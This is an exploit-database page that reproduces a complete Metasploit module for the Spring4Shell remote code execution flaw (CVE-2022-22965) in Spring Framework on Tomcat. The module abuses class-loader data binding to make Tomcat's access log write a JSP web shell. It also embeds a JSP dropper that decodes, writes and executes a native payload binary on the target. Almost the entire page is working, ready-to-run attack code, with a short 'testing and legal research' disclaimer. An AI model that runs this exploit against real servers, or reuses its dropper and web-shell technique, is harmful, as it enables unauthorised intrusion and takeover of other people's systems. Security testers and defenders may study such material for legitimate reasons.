Advertisement






Spring4Shell Spring Framework Class Property Remote Code Execution

CVE Category Price Severity
CVE-2022-22965 CWE-20 $10,000 High
Author Risk Exploitation Type Date
Thomas Chauchefoin Critical Remote 2022-05-10
CPE
cpe:cpe:/a:springframework:spring_framework
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022050041

Below is a copy:

Spring4Shell Spring Framework Class Property Remote Code Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ManualRanking # It's going to manipulate the Class Loader

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Spring Framework Class property RCE (Spring4Shell)',
        'Description' => %q{
          Spring Framework versions 5.3.0 to 5.3.17, 5.2.0 to 5.2.19, and older versions when running on JDK 9 or above
          and specifically packaged as a traditional WAR and deployed in a standalone Tomcat instance are vulnerable
          to remote code execution due to an unsafe data binding used to populate an object from request parameters
          to set a Tomcat specific ClassLoader. By crafting a request to the application and referencing the
          org.apache.catalina.valves.AccessLogValve class through the classLoader with parameters such as the following:
          class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp, an unauthenticated attacker can
          gain remote code execution.
        },
        'Author' => [
          'vleminator <vleminator[at]gmail.com>'
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2022-22965'],
          ['URL', 'https://spring.io/blog/2022/03/31/spring-framework-rce-early-announcement'],
          ['URL', 'https://github.com/spring-projects/spring-framework/issues/28261'],
          ['URL', 'https://tanzu.vmware.com/security/cve-2022-22965']
        ],
        'Platform' => %w[linux win],
        'Payload' => {
          'Space' => 5000,
          'DisableNops' => true
        },
        'Targets' => [
          [
            'Java',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => %w[linux win]
            },
          ],
          [
            'Linux',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'linux'
            }
          ],
          [
            'Windows',
            {
              'Arch' => [ARCH_X86, ARCH_X64],
              'Platform' => 'win'
            }
          ]
        ],
        'DisclosureDate' => '2022-03-31',
        'DefaultTarget' => 0,
        'Notes' => {
          'AKA' => ['Spring4Shell', 'SpringShell'],
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The path to the application action', '/app/example/HelloWorld.action']),
        OptString.new('PAYLOAD_PATH', [true, 'Path to write the payload', 'webapps/ROOT']),
        OptEnum.new('HTTP_METHOD', [false, 'HTTP method to use', 'Automatic', ['Automatic', 'GET', 'POST']]),
      ]
    )
    register_advanced_options [
      OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
    ]
  end

  def jsp_dropper(file, exe)
    # The sun.misc.BASE64Decoder.decodeBuffer API is no longer available in Java 9.
    dropper = <<~EOS
      <%@ page import=\"java.io.FileOutputStream\" %>
      <%@ page import=\"java.util.Base64\" %>
      <%@ page import=\"java.io.File\" %>
      <%
        FileOutputStream oFile = new FileOutputStream(\"#{file}\", false);
        oFile.write(Base64.getDecoder().decode(\"#{Rex::Text.encode_base64(exe)}\"));
        oFile.flush();
        oFile.close();
        File f = new File(\"#{file}\");
        f.setExecutable(true);
        Runtime.getRuntime().exec(\"#{file}\");
      %>
    EOS

    dropper
  end

  def modify_class_loader(method, opts)
    cl_prefix = 'class.module.classLoader'

    send_request_cgi({
      'uri' => normalize_uri(target_uri.path.to_s),
      'version' => '1.1',
      'method' => method,
      'headers' => {
        'c1' => '<%', # %{c1}i replacement in payload
        'c2' => '%>' # %{c2}i replacement in payload
      },
      "vars_#{method == 'GET' ? 'get' : 'post'}" => {
        "#{cl_prefix}.resources.context.parent.pipeline.first.pattern" => opts[:payload],
        "#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory],
        "#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix],
        "#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix],
        "#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
      }
    })
  end

  def check_log_file
    print_status("#{peer} - Waiting for the server to flush the logfile")
    print_status("#{peer} - Executing JSP payload at #{full_uri(@jsp_file)}")

    succeeded = retry_until_true(timeout: 60) do
      res = send_request_cgi({
        'method' => 'GET',
        'uri' => normalize_uri(@jsp_file)
      })

      res&.code == 200 && !res.body.blank?
    end

    fail_with(Failure::UnexpectedReply, "Seems the payload hasn't been written") unless succeeded

    print_good("#{peer} - Log file flushed")
  end

  # Fix the JSP payload to make it valid once is dropped
  # to the log file
  def fix(jsp)
    output = ''
    jsp.each_line do |l|
      if l =~ /<%.*%>/
        output << l
      elsif l =~ /<%/
        next
      elsif l =~ /%>/
        next
      elsif l.chomp.empty?
        next
      else
        output << "<% #{l.chomp} %>"
      end
    end
    output
  end

  def create_jsp
    jsp = <<~EOS
      <%
        File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{@jsp_file}");
        jsp.delete();
      %>
      #{Faker::Internet.uuid}
    EOS
    if target['Arch'] == ARCH_JAVA
      jsp << fix(payload.encoded)
    else
      payload_exe = generate_payload_exe
      payload_filename = rand_text_alphanumeric(rand(4..7))

      if target['Platform'] == 'win'
        payload_path = datastore['WritableDir'] + '\\' + payload_filename
      else
        payload_path = datastore['WritableDir'] + '/' + payload_filename
      end

      jsp << jsp_dropper(payload_path, payload_exe)
      register_files_for_cleanup(payload_path)
    end

    jsp
  end

  def check
    @checkcode = _check
  end

  def _check
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(Rex::Text.rand_text_alpha_lower(4..6))
    )

    return CheckCode::Unknown('Web server seems unresponsive') unless res

    if res.headers.key?('Server')
      res.headers['Server'].match(%r{(.*)/([\d|.]+)$})
    else
      res.body.match(%r{Apache\s(.*)/([\d|.]+)})
    end

    server = Regexp.last_match(1) || nil
    version = Rex::Version.new(Regexp.last_match(2)) || nil

    return Exploit::CheckCode::Safe('Application does not seem to be running under Tomcat') unless server && server.match(/Tomcat/)

    vprint_status("Detected #{server} #{version} running")

    if datastore['HTTP_METHOD'] == 'Automatic'
      # prefer POST over get to keep the vars out of the query string if possible
      methods = %w[POST GET]
    else
      methods = [ datastore['HTTP_METHOD'] ]
    end

    methods.each do |method|
      vars = "vars_#{method == 'GET' ? 'get' : 'post'}"
      res = send_request_cgi(
        'method' => method,
        'uri' => normalize_uri(datastore['TARGETURI']),
        vars => { 'class.module.classLoader.DefaultAssertionStatus' => Rex::Text.rand_text_alpha_lower(4..6) }
      )

      # setting the default assertion status to a valid status
      send_request_cgi(
        'method' => method,
        'uri' => normalize_uri(datastore['TARGETURI']),
        vars => { 'class.module.classLoader.DefaultAssertionStatus' => 'true' }
      )
      return Exploit::CheckCode::Appears(details: { method: method }) if res.code == 400
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    prefix_jsp = rand_text_alphanumeric(rand(3..5))
    date_format = rand_text_numeric(rand(1..4))
    @jsp_file = prefix_jsp + date_format + '.jsp'
    http_method = datastore['HTTP_METHOD']
    if http_method == 'Automatic'
      # if the check was skipped but we need to automatically identify the method, we have to run it here
      @checkcode = check if @checkcode.nil?
      http_method = @checkcode.details[:method]
      fail_with(Failure::BadConfig, 'Failed to automatically identify the HTTP method') if http_method.blank?

      print_good("Automatically identified HTTP method: #{http_method}")
    end

    # if the check method ran automatically, add a short delay before continuing with exploitation
    sleep(5) if @checkcode

    # Prepare the JSP
    print_status("#{peer} - Generating JSP...")

    # rubocop:disable  Style/FormatStringToken
    jsp = create_jsp.gsub('<%', '%{c1}i').gsub('%>', '%{c2}i')
    # rubocop:enable  Style/FormatStringToken

    # Modify the Class Loader
    print_status("#{peer} - Modifying Class Loader...")
    properties = {
      payload: jsp,
      directory: datastore['PAYLOAD_PATH'],
      prefix: prefix_jsp,
      suffix: '.jsp',
      file_date_format: date_format
    }
    res = modify_class_loader(http_method, properties)
    unless res
      fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
    end

    # No matter what happened, try to 'restore' the Class Loader
    properties = {
      payload: '',
      directory: '',
      prefix: '',
      suffix: '',
      file_date_format: ''
    }

    modify_class_loader(http_method, properties)

    check_log_file

    handler
  end

  # Retry the block until it returns a truthy value. Each iteration attempt will
  # be performed with expoential backoff. If the timeout period surpasses, false is returned.
  def retry_until_true(timeout:)
    start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
    ending_time = start_time + timeout
    retry_count = 0
    while Process.clock_gettime(Process::CLOCK_MONOTONIC, :second) < ending_time
      result = yield
      return result if result

      retry_count += 1
      remaining_time_budget = ending_time - Process.clock_gettime(Process::CLOCK_MONOTONIC, :second)
      break if remaining_time_budget <= 0

      delay = 2**retry_count
      if delay >= remaining_time_budget
        delay = remaining_time_budget
        vprint_status("Final attempt. Sleeping for the remaining #{delay} seconds out of total timeout #{timeout}")
      else
        vprint_status("Sleeping for #{delay} seconds before attempting again")
      end

      sleep delay
    end

    false
  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum